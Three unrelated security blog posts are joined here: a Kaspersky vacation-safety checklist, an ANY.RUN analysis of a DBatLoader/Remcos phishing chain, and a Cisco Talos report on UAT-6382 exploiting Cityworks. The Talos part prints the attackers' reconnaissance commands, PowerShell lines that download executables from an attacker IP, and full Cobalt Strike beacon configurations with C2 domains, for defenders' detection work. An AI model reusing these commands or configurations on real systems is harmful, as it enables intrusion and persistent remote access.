A Kaspersky checklist for a safe vacation | Kaspersky official blog

These days, we’re hardly ever separated from our devices. According to a 2024 study conducted in the U.S. by analytics firm Reviews.org, the average user spends around 2.5 months of a year on their smartphone! That’s a staggering figure — showing just how deeply mobile devices have become ingrained into our daily lives.

A digital detox — a trendy term for taking a break from our screens and notifications — can benefit anyone with a smartphone and/or laptop. According to a review of 10 studies conducted between 2013 and 2023, digital detoxes help improve sleep quality, life satisfaction, and overall wellbeing. They also reduce anxiety, stress, depression, and phone addiction. What’s more, regular digital breaks can restore the brain’s ability to focus for long periods and process information deeply.

However, completely unplugging from the internet can pose certain cybersecurity risks to your digital life. So today, we’ll look at how to give your mind a rest while ensuring the security of your accounts, devices, data, and even smart home.

What could go wrong during a digital detox?

Of course, it’s impossible to completely eliminate all risks, but you can make some preparations to minimize their impact. But what kinds of risks are we talking about?

  • Account theft — both of regular, single-service accounts, and ecosystem accounts (like Google, Apple, Facebook, Instagram, Samsung, etc.) via password guessing or SIM swapping.
  • Unauthorized subscriptions and charges.
  • Leak of personal data from password dumps or due to a lack of two-factor authentication.
  • Account hijacking in messengers and social networks.
  • Use of your devices or accounts to send spam.
  • Loss or theft of your gadgets.
  • Household issues — break-ins while you’re away, flooding, gas leaks, or fires.

How to stay in control during a digital detox?

Start with a digital spring-clean, and strengthen your digital perimeter across a few key areas.

Accounts, data, and finances

  • Review your subscriptions. More than half of users worldwide pay for subscriptions they don’t use. According to one study, only 38% of respondents had used all of their subscriptions in the past six months. The majority had unused ones: 15% hadn’t used two, 11% three, and 3% more than five. Moreover, we tend to underestimate our total subscription costs by two to three times — even though we spend, on average, around a thousand dollars a year on them! So reviewing your subscriptions is a great place to start your digital detox, and dedicated subscription managers can help make this easier.
    Make a list of subscriptions to pause or cancel completely while you’re away. And conversely, make sure the services that require ongoing payments are linked to an account with enough funds to cover them during your detox. This might include services like website hosting autopayments, VPS rental for a project, or a paid cloud storage or mail server. Also check how long your data is retained after suspending a subscription — and when it might be permanently deleted.
  • Beef up your passwords. Review your critically important accounts: online banking, government service portals, crypto wallets, and so on. If you’re already using a password manager, take advantage of the built-in password leak check If you store passwords in your browser, or your password manager can’t check for compromised passwords, switch to Kaspersky Password Manager. Replace weak passwords with unique and strong ones — our password manager can generate and remember them for you.
  • Enable two-factor authentication (2FA) wherever possible so that logging in requires a one-time code. Keep in mind that codes sent via SMS aren’t secure — so for critical accounts (banks, email, social networks, ecosystem accounts like Google and Apple), switch to an authenticator app wherever you can. By the way, our password manager can help here too.
  • Make backups. Create up-to-date backups of important files stored both locally and online — because the internet remembers not quite everything. Keep multiple copies — for example, on NAS at home as well as in a reliable cloud with encryption features. Don’t forget to make fresh backups of your smartphone and any other devices you’re taking with you, and store them in a safe place.
  • Give backup access to people you trust. If you’re a blogger, run Telegram channels or video-hosting platforms, or have popular social media accounts, be sure to set them up so you’re not the only one with access. In case attackers do manage to compromise your account — for example, through SIM swapping or hijacking session cookies — a prompt response is essential, even if you’re away. Kaspersky Password Manager can help here too: install it on multiple devices and sync your passwords and two-factor authentication tokens across them.
  • Notify your bank of your travel plans so they don’t block your card due to a “suspicious transaction” abroad. Depending on your bank, this can be done via in-app chat, a hotline, or in person.

Gadgets and connectivity

  • Install security updates. Update the operating systems, apps, and firmware on all your gadgets to the latest versions. Patches fix known vulnerabilities and lower the chances of a successful attack on you. If you’re using Android, check out our pain-free guide to installing Android updates.
  • Protect your devices. Make sure your both your computer and smartphone are protected with reliable security software. Enable disk encryption, and set a strong password for unlocking your device — whether you’re taking it with you or leaving it behind. On smartphones, disable biometric access, use strong passcodes, and enable automatic data-wipe after several failed unlock attempts.
    To be able to locate lost Apple devices, turn on Find My. Kaspersky for Android has a similar feature for Android devices.
  • Protect your SIM cards from being swapped. Your cellphone number provides access to many services. It can be used to access social media, banking, government services, and — most critically — ecosystem accounts that store important personal data like your calendar, cloud documents, and payment card data saved in your browser. Criminals may try to get a duplicate of your SIM card at a mobile store to bypass SMS or call verification. Of course, this can happen at any time, but if you’re away, you won’t be able to respond as quickly.
    Some mobile carriers let you set a password without which all SIM reissue requests are denied. Some providers let you prohibit them from providing you with services remotely and preventing anyone from replacing your SIM card, even if they have а power of attorney – real or fake. Check what options your provider offers, and for more tips on SIM swapping protection, see our article on the topic.
  • Set a good old PIN code on your primary SIM card before your trip — especially if you plan to remove it from your phone to leave at home, or swap it for a travel SIM while abroad. That way, even if your SIM falls into the wrong hands, they won’t be able to access your accounts: once inserted into a phone, the SIM won’t work without the PIN code. If you have an eSIM, keep the multi-use eSIM activation QR code stored in a secure place — or opt for single-use codes instead.
  • Make sure you have a backup communication channel. If you’re heading somewhere where mobile signal is unreliable or nonexistent — like in mountainous regions — satellite SMS services (like Garmin’s inReach) or Apple’s Emergency SOS via satellite feature can be useful. Be sure to check the subscription details in advance and confirm the service is available in the country you’re visiting.

Personal safety

  • Check your digital legacy settings and designate who gets access to your accounts if something happens to you. In Apple’s ecosystem, you can assign an account recovery contact in case you completely lose access to your Apple ID. With a code they receive according to your instructions, the trusted person can help you regain access to your account and data — such as a smartphone backup. However, they won’t get direct access to your data. In addition to a recovery contact, Apple also lets you designate a Legacy Contact. Google offers a similar feature called Inactive Account Manager, which is especially worth setting up if you plan not to use Google services for a long time. This option sends your selected contacts a backup of chosen data after a set period of inactivity — the default is three months. If that’s not enough for your full-on digital detox, be sure to increase the inactivity period in the settings so you don’t alarm your trusted contacts.
  • Decide which smart-home and IoT devices should remain active while you’re away. Surveillance cameras and alarms should ideally not just stay on, but be connected to an uninterruptible power supply. That way, the alarm can still send a signal to the monitoring center even if burglars cut the power before breaking in. On the other hand, smart sockets, speakers, or appliances you don’t plan to use should be unplugged and disconnected from the internet. Learn more about smart-home protection here.
  • Change the default passwords on all IoT devices to your own, strong ones, and don’t forget your router. Many devices come with standard login/password combos out of the box, making them vulnerable to botnet attacks. Also, if an attacker gains access to your IP camera, they can monitor your home and plan a break-in while you’re away.
  • Make sure you (or a trusted person) can receive critical alerts — for example, from smoke, gas, or flood detectors — and that a relative, trusted neighbor, or friend can quickly deal with any issues. Leave your trusted contact with spare keys and a way to reach you. If you’re going fully offline for your digital detox, this could be your hotel’s phone number or the contact details of your travel companion.

How to minimize gadget use on vacation

A full digital detox might feel too extreme for many people. But if you want to truly relax without worrying about your online life or offline property, we recommend at least sticking to the following rules:

  • Forget about the news, social media, and email — or at least stop checking them all the time. Special modes on Apple and Android devices can help limit your access to the most distracting apps. If these built-in tools aren’t enough, you could “become your own child” — install Kaspersky Safe Kids (included in your Kaspersky Premium subscription) and customize it by setting filters for apps, websites, and social media — adding daily time limits for each.
  • Minimize your digital footprint. Avoid posting vacation photos or updates in public in real time — better is to share the memories once you’re back. That way, you’re not telling the world: “Hey, I’m not home and won’t be for two more weeks!” If you really can’t resist, at least limit the audience to close friends only.
  • Let colleagues and family know in advance that you’ll be away, so they won’t worry or — most importantly — send you anything sensitive or urgent via email or messaging apps. Also, review your messaging account settings to prevent hijacking while you’re gone. Scammers love to strike when account owners are absent — so a quick reminder to your contacts not to fall for messages like “Hey! Can you lend me $100 till tomorrow?” can save you a lot of trouble.
  • Set up an out-of-office message for your email and voicemail stating that you’re temporarily offline — without giving too many details about your destination or reasons for your trip.
  • Take just one, essential device. If you’re traveling, don’t bring every gadget you own. Choose just one — whether a laptop, tablet, or smartphone — and keep it in your carry-on luggage. At your accommodation, store your device in a safe and never leave it unattended — even if you don’t plan to use it. If someone gets physical access to your device, they could compromise your data — and in the case of a smartphone, even steal your SIM card.
  • Use a backup phone for SMS messages. If you’re swapping your main SIM for a local or tourist one, insert your home SIM into an old backup phone — ideally a basic button phone with a long battery life — and turn off mobile data. This way, you’ll still receive calls and texts to your main number and can react promptly if something suspicious happens — like getting a two-factor authentication code you didn’t request, or a bank alert about a strange transaction or loan approval. To avoid roaming charges, simply do not answer the calls from this device and contact the caller on another channel. Keep this phone in a hotel safe or other secure spot and check it at least once a day.
  • Avoid risky connections. If possible, avoid connecting to unknown Wi-Fi networks or using someone else’s computer — especially if your goal is to unplug from the internet and screens. If you do need to get online (say, to check an important email), use your own device and stick to trusted Wi-Fi networks — or, better yet, mobile internet. Tourist SIM cards with cheap data plans are available pretty much everywhere in today’s world. With public Wi-Fi, use a secure connection to encrypt your traffic. And never enter passwords when using internet café networks or shared computers.

How to avoid missing anything important when you return

After your digital vacation, it’s important to return online wisely — checking what happened while you were away.

  • Power on your devices and check for updates. Turn on all the gadgets you’d switched off. Security updates may have been released while you were away; install them as soon as possible before actively using your devices again. Make sure your antivirus databases are also up to date. If you had any IoT devices unplugged, turn them back on and ensure they’re working properly and reconnected to your home network (and double-check that no passwords have been reset).
  • Review notifications and logs. Go through the backlog of notifications in your email, banking apps, and social media accounts. Pay close attention to login attempt alerts, two-factor authentication codes, and bank messages about transactions. If you notice any attempts to access your accounts that occurred during your digital detox, your first step should be to change the passwords for those services, terminate suspicious sessions if possible, and contact support. An SMS or push notification with a login code you didn’t request is a strong sign of a potential hack or SIM-swap attempt; in that case, immediately reach out to your mobile provider and the service in question.
  • Check your SIM card and phone. After a long time offline, make sure your phone number is still active and functioning, and that your balance hasn’t been drained by any suspicious activity. A pre-set PIN code and a restriction on reissuing SIM cards should reliably protect your number. However, it’s still worth double-checking your mobile account and, at the slightest suspicion, requesting a detailed expenses log from your mobile provider.
  • Assess your resilience and make notes and amendments for the future. Reflect on how well your digital ecosystem held up during your time away. The ideal outcome: nothing went wrong, your data is intact, your accounts are secure, and your home is fine. If that’s the case, congratulations — not only did you enjoy your break, but you also confirmed that your security measures work even without constant supervision. If any issues did arise — say, a backup failed or an IP camera went offline — treat them not as disasters but as lessons to learn, and take measures to improve your setup going forward.

We hope these tips help you enjoy a smooth and secure digital-detox vacation. Make the most of your time offline — and remember, it’s better to be safe than sorry. And to be even safer, follow our Telegram channel.

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DBatLoader Delivers Remcos via .pif Files and UAC Bypass in New Phishing Campaign 

A new phishing campaign is spreading the Remcos Remote Access Trojan (RAT) through DBatLoader. It employs User Account Control (UAC) bypass, obfuscated scripts, Living Off the Land Binaries (LOLBAS) abuse, and persistence mechanisms.

Here’s an analysis of the infection chain, key techniques, and detection tips. 

How the Attack Works  

To see how the attack unfolds, we analyzed the sample inside ANY.RUN’s Interactive Sandbox

View full execution and analysis 

The attack likely starts with a phishing email containing an archive.  

Analysis of the malicious sample inside ANY.RUN’s Interactive Sandbox

Inside it, there is a malicious executable named “FAKTURA”, which deploys DBatLoader on the system.  

Use of .pif Files for Disguise and UAC Bypass 

DBatLoader uses .pif (Program Information File) files as a method of disguise and execution.  

Originally intended for configuring how DOS-based programs should run in early Windows systems, .pif files have become obsolete for legitimate use. However, they are still executable on modern Windows versions, making them useful for attackers. 

Windows treats .pif files similarly to .exe files. When executed, they can run without triggering warning dialogs, depending on system configuration.  

Trailing spaces allow attackers to abuse Windows’s folder name handling 

In the analysis, the malicious alpha.pif (a Portable Executable file) bypassed UAC by creating fake directories like “C:Windows “ (note the empty space), exploiting Windows’s folder name handling to gain elevated privileges. 

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Evasion and Persistence: Ping Command and Scheduled Task 

One observed command line uses PING.EXE to ping the local loopback address (127.0.0.1) ten times. While legitimate programs may use this to test network connectivity by sending ICMP echo requests, malware like DBatLoader uses it to introduce artificial delays for time-based evasion.

ANY.RUN flags PING.EXE activity and identifies it as a delay simulation  

In some cases, this technique can also be repurposed for remote system discovery. 

The malicious svchost.pif file launched NEO.cmd through CMD, which then executed extrac32.exe to add a specific path to Windows Defender’s exclusion list, allowing it to evade further detection. 

The sandbox highlights evasion and persistence activities in the MITRE ATT&CK Matrix 

To maintain persistence and survive following reboots, DBatLoader abuses a scheduled task to trigger a Cmwdnsyn.url file, which launches a .pif dropper.  

Obfuscation and Remcos Deployment 

Obfuscation complicates the analysis for security professionals 

The loader used .cmd files obfuscated with BatCloak to download and run Remcos.  

The sandbox flags the injected process and detects Remcos 

Remcos injects into trusted system processes SndVol.exe, colorcpl.exe or others, varying on each new instance, blending in with the rest of the processes. 

Spot Similar Attacks with Proactive Sandbox Analysis 

Multi-stage attacks that utilize different means of staying hidden on the system are hard to identify with standard signature-based solutions. The most effective way to ensure detection is to proactively detonate the suspicious files inside the safe, virtual environment of a malware sandbox

ANY.RUN’s Interactive Sandbox allows security teams to conduct fast and in-depth analysis of malware and phishing attacks to maximize the detection rate. The service offers fully interactive cloud-based VMs supporting Windows, Android, and Linux systems. 

  • Accelerate Threat Analysis: The sandbox detects malware strains in under 40 seconds, reducing incident investigation time and boosting SOC productivity.   
  • Keep Your Infrastructure Safe: Analyze suspicious files and URLs in a cloud-based, isolated environment to eliminate the risk of compromising corporate infrastructure. 
  • Boost Team Collaboration: Configure access levels, track productivity, and coordinate the team’s work on threat analysis.   
  • Improve Cost-Effectiveness: Minimize financial losses with faster threat analysis and detection that supercharges response and containment. 

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Analysts can monitor unusual file paths, track processes for unexpected activity, analyze network connections, and, most importantly, manually engage with the system and threats. 

The sandbox flags all the malicious behaviors and generates a detailed report with IOCs that can be adapted for detection rules and endpoint security improvement. 

About ANY.RUN 

Over 500,000 cybersecurity professionals and 15,000+ companies in finance, manufacturing, healthcare, and other sectors rely on ANY.RUN. Our services streamline malware and phishing investigations for organizations worldwide. 

  • Speed up triage and response: Detonate suspicious files using ANY.RUN’s Interactive Sandbox to observe malicious behavior in real time and collect insights for faster and more confident security decisions. 
  • Improve threat detection: ANY.RUN’s Threat Intelligence Lookup and TI Feeds provide actionable insights into cyber attacks, improving detection and deepening understanding of evolving threats. 

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The post DBatLoader Delivers Remcos via .pif Files and UAC Bypass in New Phishing Campaign  appeared first on ANY.RUN’s Cybersecurity Blog.

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UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware

  • Cisco Talos has observed exploitation of CVE-2025-0994, a remote-code-execution vulnerability in Cityworks, a popular asset management system.  
  • The Cybersecurity and Infrastructure Security Agency (CISA) and Trimble have both released advisories pertaining to this vulnerability, with Trimble’s advisory specifically listing indicators of compromise (IOCs) related to the intrusion exploiting the CVE.  
  • IOCs pertaining to intrusions discovered by Talos that involve the exploitation of CVE-2025-0994 overlap with those listed in Trimble’s advisory.  
  • Talos clusters this set of intrusions, exploiting CVE-2025-0944, under the “UAT-6382” umbrella of activity. Based on tooling and tactics, techniques and procedures (TTPs) employed by the threat actor, Talos assesses with high confidence that the exploitation and subsequent post-compromise activity is carried out by Chinese-speaking threat actors.  
  • Post-compromise activity involves the rapid deployment of web shells such as AntSword and chinatso/Chopper on the underlying IIS web servers. UAT-6382 also employed the use of Rust-based loaders to deploy Cobalt Strike and VSHell malware to maintain long-term persistent access.  
  • We track the Rust-based loaders as “TetraLoader,” built using a recently publicly available malware building framework called “MaLoader.” MaLoader, written in Simplified Chinese, allows its operators to wrap shellcode and other payloads into a Rust-based binary, resulting in the creation of TetraLoader.

UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware

Talos has found intrusions in enterprise networks of local governing bodies in the United States (U.S.), beginning January 2025 when initial exploitation first took place. UAT-6382 successfully exploited CVE-2025-0944, conducted reconnaissance and rapidly deployed a variety of web shells and custom-made malware to maintain long-term access. Upon gaining access, UAT-6382 expressed a clear interest in pivoting to systems related to utilities management. 

The web shells, including AntSword, chinatso/Chopper and generic file uploaders, contained messaging written in the Chinese language. Furthermore, the custom tooling, TetraLoader, was built using a malware-builder called “MaLoader” that is also written in Simplified Chinese. Based on the nature of this tooling, TTPs, hands-on-keyboard activity and victimology, Talos assesses with high confidence that UAT-6382 is a Chinese-speaking threat actor.

Initial reconnaissance 

Successful exploitation of the vulnerable Cityworks application leads to the attackers conducting preliminary reconnaissance to identify and fingerprint the server: 

cmd.exe /c ipconfig 
cmd.exe /c pwd 
cmd.exe /c dir 
cmd.exe /c dir .. 
cmd.exe /c dir c: 
cmd.exe /c dir c:inetpub 
cmd.exe /c tasklist 

 Specific folders were enumerated before attempting to place web shells in them: 

cmd.exe /c dir c:inetpubwwwroot 
cmd.exe /c c:inetpubwwwrootCityworksServerWebSite 
cmd.exe /c dir c:inetpubwwwrootCityworksServerWebSiteAssets 

UAT-6382 heavily utilizes web shells 

Initial reconnaissance almost immediately led to the deployment of web shells to establish backdoor entry into the compromised network. These web shells consisted of multiple variations of AntSword, chinatso and Behinder along with additional generic file uploaders containing messages written in the Chinese language.

UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware
Figure 1. ASP based file uploader deployed by UAT-6382.

File enumeration and staging for exfiltration 

UAT-6382 enumerated multiple directories on servers of interest to identify files of interest to them and then staged them in directories where they had deployed web shells for easy exfiltration: 

cmd.exe /c dir c:inetpubwwwrootCityworksServer 
cmd.exe /c copy c:inetpubwwwrootCityworksServer<backup_archives> c:inetpubwwwrootCityworksServerUploads

Deployment of backdoors 

UAT-6382 downloaded and deployed multiple backdoors on compromised systems via PowerShell: 

cmd[.]exe /c powershell -Command Invoke-WebRequest -Uri 'hxxp[://]192[.]210[.]239[.]172:3219/LVLWPH[.]exe' -OutFile '<parent_directory>LVLWPH[.]exe' 
 
cmd.exe /c powershell -Command Invoke-WebRequest -Uri 'http://192[.]210[.]239[.]172:3219/MCUCAT[.]exe' -OutFile 'C:windowstempz1.exe' 
 
powershell -Command Invoke-WebRequest -Uri 'http://192[.]210[.]239[.]172:3219/TJPLYT[.]exe' -OutFile 'C:windowstempz33.exe' 
 
cmd.exe /c powershell -Command Invoke-WebRequest -Uri 'http://192[.]210[.]239[.]172:3219/z44[.]exe' -OutFile 'C:windowstempz44.exe' 

The implants Talos recovered are Rust-based loaders containing an encoded or encrypted payload. The payload is decoded/decrypted and injected into a benign process by the loader component. We track the loaders as “TetraLoader.

TetraLoader analysis 

TetraLoader is a simple Rust-based loader. It will decode an embedded payload and inject it into a benign process such as notepad[.]exe to activate the payload. Talos has so far found two types of payloads deployed by TetraLoader on the infected endpoints: 

  1. Cobalt Strike beacons: These are position-independent, in-memory Cobalt Strike beacon shellcodes that are injected into a specified benign process by TetraLoader. 
  2. VShell stager: Position independent shellcode, we’ve identified as a stager for VShell, that talks to a hardcoded C2 server and executes code issued to it. 

TetraLoader is built using a relatively new payload builder framework known as “MaLoader,” which first appeared on GitHub in December 2024. MaLoader has multiple options to encode and embed shellcodes into TetraLoader, the Rust-based container. 

UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware

Figure 2. MaLoader’s builder interface

MaLoader is written in Simplified Chinese, indicating that threat actors that employed it likely knew the language to a substantial degree of proficiency.

Cobalt Strike beacons 

The Cobalt Strike beacons are relatively straightforward, with minimal changes as compared to traditionally generated Cobalt Strike beacons. One of the beacons Talos discovered reaches out to the command-and-control (C2) domain “cdn[.]lgaircon[.]xyz” and specifically consists of the following configuration settings:

BeaconType - HTTPS  
Port - 443  
SleepTime - 45000  
MaxGetSize - 2801745  
Jitter - 37  
MaxDNS - Not Found  
PublicKey - b'0x81x9f0rx06t*x86Hx86xf7rx01x01x01x05x00x03x81x8dx000x81x89x02x81x81x00x81x92xaax1dxdephxa6x80xf7xc9x7fxcfxbaxce6xd9x11(x00x1ax95

A second beacon using the same C2 domain consists of the following more detailed configuration:

BeaconType - HTTPS  
Port - 443  

SleepTime - 35000  
MaxGetSize - 2097152  
Jitter - 30  
MaxDNS - Not Found  

PublicKey_MD5 - 00c96a736d29c55e29c5e3291aedb0fd  

C2Server - lgaircon[.]xyz,/owa/OPWiaTU-ZEbuwIAKGPHoQAP006-PTsjBGKQUxZorq2  
UserAgent - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15  

HttpPostUri - /owa/idQ0RKiA2O1i9KKDzKRdmIBmkA8uQxmFzpBGRzGjaqG  

Malleable_C2_Instructions - NetBIOS decode 'a'  

HttpGet_Metadata - ConstHeaders  
                  Host: lgaircon[.]xyz  
                  Accept: */ * 
                  Cookie: MicrosoftApplicationsTelemetryDeviceId=95c18d8-4dce9854;ClientId=1C0F6C5D910F9;MSPAuth=3EkAjDKjI;xid=730bf7;wla42=ZG0yMzA2KjEs
                  ConstParams  
                  path=/calendar  
                  Metadata  
                  netbios  
                  parameter "wa"  

HttpPost_Metadata - ConstHeaders  
                    Host: lgaircon[.]xyz  
                    Accept: */ * 
                    SessionId  
                    netbios  
                    prepend "wla42="  
                    prepend "xid=730bf7;"  
                    prepend "MSPAuth=3EkAjDKjI;"  
                    prepend "ClientId=1C0F6C5D910F9;"  
                    prepend "MicrosoftApplicationsTelemetryDeviceId=95c18d8-4dce9854;"  
                    header "Cookie"  
                    Output  
                    netbios  
                    parameter "wa"  

PipeName - Not Found  
DNS_Idle - Not Found  
DNS_Sleep - Not Found  
SSH_Host - Not Found  
SSH_Port - Not Found  
SSH_Username - Not Found  
SSH_Password_Plaintext - Not Found  
SSH_Password_Pubkey - Not Found  
SSH_Banner -  

HttpGet_Verb - GET  
HttpPost_Verb - GET  
HttpPostChunk - 96  

Spawnto_x86 - %windir%syswow64gpupdate[.]exe  
Spawnto_x64 - %windir%sysnativegpupdate[.]exe  

CryptoScheme - 0  

Proxy_Config - Not Found  
Proxy_User - Not Found  
Proxy_Password - Not Found  
Proxy_Behavior - Use IE settings  

Watermark_Hash - NtZOV6JzDr9QkEnX6bobPg==  
Watermark - 987654321  

bStageCleanup - True  
bCFGCaution - False  

KillDate - 0  

bProcInject_StartRWX - True  
bProcInject_UseRWX - False  
bProcInject_MinAllocSize - 26808  
ProcInject_PrependAppend_x86 - b'x90x90x90x90x90x90x90x90x90'  
                                Empty  

ProcInject_PrependAppend_x64 - b'x90x90x90x90x90x90x90x90x90'  
                                Empty  

ProcInject_Execute - ntdll[.]dll:RtlUserThreadStart  
                     NtQueueApcThread-s  
                     SetThreadContext  
                     CreateRemoteThread  
                     kernel32[.]dll:LoadLibraryA  
                     RtlCreateUserThread  

ProcInject_AllocationMethod - VirtualAllocEx  

bUsesCookies - True  
HostHeader -  
headersToRemove - Not Found  

DNS_Beaconing - Not Found  
DNS_get_TypeA - Not Found  
DNS_get_TypeAAAA - Not Found  
DNS_get_TypeTXT - Not Found  
DNS_put_metadata - Not Found  
DNS_put_output - Not Found  
DNS_resolver - Not Found  
DNS_strategy - round-robin  
DNS_strategy_rotate_seconds - -1  
DNS_strategy_fail_x - -1  
DNS_strategy_fail_seconds - -1  
Retry_Max_Attempts - 0  
Retry_Increase_Attempts - 0  
Retry_Duration - 0 

Another beacon reaches out to C2 “www[.]roomako[.]com” and has the following configuration: 

BeaconType - HTTPS  
Port - 443  
SleepTime - 25000  
MaxGetSize - 2801745  
Jitter - 37  
MaxDNS - Not Found  

PublicKey - b"0x81x9f0rx06t*x86Hx86xf7rx01x01x01x05x00x03x81x8dx000x81x89x02x81x81x00xaa#x18xebx;xd3?xe7xa7xb5x95xb1xe7xb2ax99O)x8exebx/:xc10cxfex04#xe5_ x82xabx9dxbex99xd0Wxb5xfafrax14@x9ax16Fs5xa0xe6xf3xa6x13xdcx91Nxdeqlx89xc5RkDxefqxeaxa8xc5'$xdf]l#xacsx0c/;xc3Exf8x0fSx7fxbdxcdx0b]Ex97xf2xf2Qxe8x00xa7ux04x90rx95xfdxac`k9xefaxe5x9ftWxc5xc7x90xb8x8ax15xab+x02x03x01x00x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"  

C2Server - www[.]roomako[.]com,/jquery-3[.]3[.]1[.]min[.]js  
UserAgent - Not Found  
HttpPostUri - /jquery-3[.]3[.]2[.]min[.]js  
HttpGet_Metadata - Not Found  
HttpPost_Metadata - Not Found  

SpawnTo - b'x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00'

PipeName - Not Found  

DNS_Idle - Not Found  
DNS_Sleep - Not Found  
SSH_Host - Not Found  
SSH_Port - Not Found  
SSH_Username - Not Found  
SSH_Password_Plaintext - Not Found  
SSH_Password_Pubkey - Not Found  

HttpGet_Verb - GET  
HttpPost_Verb - POST  
HttpPostChunk - 0  

Spawnto_x86 - %windir%syswow64dllhost[.]exe  
Spawnto_x64 - %windir%sysnativedllhost[.]exe  

CryptoScheme - 0  

Proxy_Config - Not Found  
Proxy_User - Not Found  
Proxy_Password - Not Found  
Proxy_Behavior - Use IE settings  

Watermark - 987654321  
bStageCleanup - True  
bCFGCaution - False  
KillDate - 0  

bProcInject_StartRWX - False  
bProcInject_UseRWX - False  
bProcInject_MinAllocSize - 17500  
ProcInject_PrependAppend_x86 - b'x90x90x90'  
                              Empty  

ProcInject_PrependAppend_x64 - b'x90x90x90'  
                              Empty  

ProcInject_Execute - ntdll:RtlUserThreadStart  
                     CreateThread  
                     NtQueueApcThread-s  
                     CreateRemoteThread  
                     RtlCreateUserThread  

ProcInject_AllocationMethod - NtMapViewOfSection  

  bUsesCookies - True  

HostHeader - Host: www[.]roomako[.]com 

VShell stager 

The VShell stager is relatively simple and uses rudimentary socket APIs to connect with a hardcoded C2 server such as “192[.]210[.]239[.]172:2219”. The stager, usually injected into a benign process by TetraLoader, initially sends a preliminary beacon to the C2 and then waits for a response. The response sent by the C2 is usually a single-byte Xorred payload that is then executed in memory by the implant. This is likely UAT-6382’s modification in VShell. 

UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware
Figure 3. Implant receiving and executing shellcode from the C2.

The payload received by the VShell stager is in fact the actual VShell implant. VShell is a GoLang-based implant that talks to its C2 and provides a wide variety of remote access trojan-based functionalities, such as the capabilities to perform file management, run arbitrary commands, take screenshots and run NPS-based proxies on the infected endpoint.

UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware
Figure 4. A sample VShell C2 server with one client connected. 

Like other Chinese-authored tooling observed in the intrusions, VShell C2 panels are also written in Chinese. Although limited language support for English is available in the panel, it still mostly uses the Chinese language as seen in Figure 5, indicating that operators need to be familiar with the language to use the panel proficiently. 

UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware
Figure 5. VShell’s file manager panel uses Chinese even when configured to use English.

Coverage 

Ways our customers can detect and block this threat are listed below.  

UAT-6382 exploits Cityworks zero-day vulnerability to deliver malware

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here. 

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat. 

Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device. 

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. 

Cisco Secure Access is a modern cloud-delivered Security Service Edge (SSE) built on Zero Trust principles.  Secure Access provides seamless transparent and secure access to the internet, cloud services or private application no matter where your users work.  Please contact your Cisco account representative or authorized partner if you are interested in a free trial of Cisco Secure Access. 

Umbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network.  

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.  

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.  

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org

Indicators of compromise (IOCs) 

The IOCs can also be found in our GitHub repository here.

TetraLoader 

14ed3878b6623c287283a8a80020f68e1cb6bfc37b236f33a95f3a64c4f4611f 
4ffc33bdc8527a2e8cb87e49cdc16c3b1480dfc135e507d552f581a67d1850a9 
1de72c03927bcd2810ce98205ff871ef1ebf4344fba187e126e50caa1e43250b 
1c38e3cda8ac6d79d9da40834367697a209c6b07e6b3ab93b3a4f375b161a901 

 CobaltStrike beacons 

C02d50d0eb3974818091b8dd91a8bbb8cdefd94d4568a4aea8e1dcdd8869f738 

 Network IOCs 

cdn[.]phototagx[.]com 
www[.]roomako[.]com 
lgaircon[.]xyz
https://www[.]roomako[.]com/jquery-3[.]3[.]1[.]min[.]js  
https://lgaircon[.]xyz/owa/OPWiaTU-ZEbuwIAKGPHoQAP006-PTsjBGKQUxZorq2 
https://cdn[.]lgaircon[.]xyz/jquery-3[.]3[.]1[.]min[.]js 
hxxps[://]cdn[.]phototagx[.]com/ 
  
192[.]210[.]239[.]172 
hxxp[://]192[.]210[.]239[.]172:3219/LVLWPH[.]exe 
hxxp[://]192[.]210[.]239[.]172:3219/MCUCAT[.]exe 
hxxp[://]192[.]210[.]239[.]172:3219/TJPLYT[.]exe 
hxxp[://]192[.]210[.]239[.]172:3219/z44[.]exe 


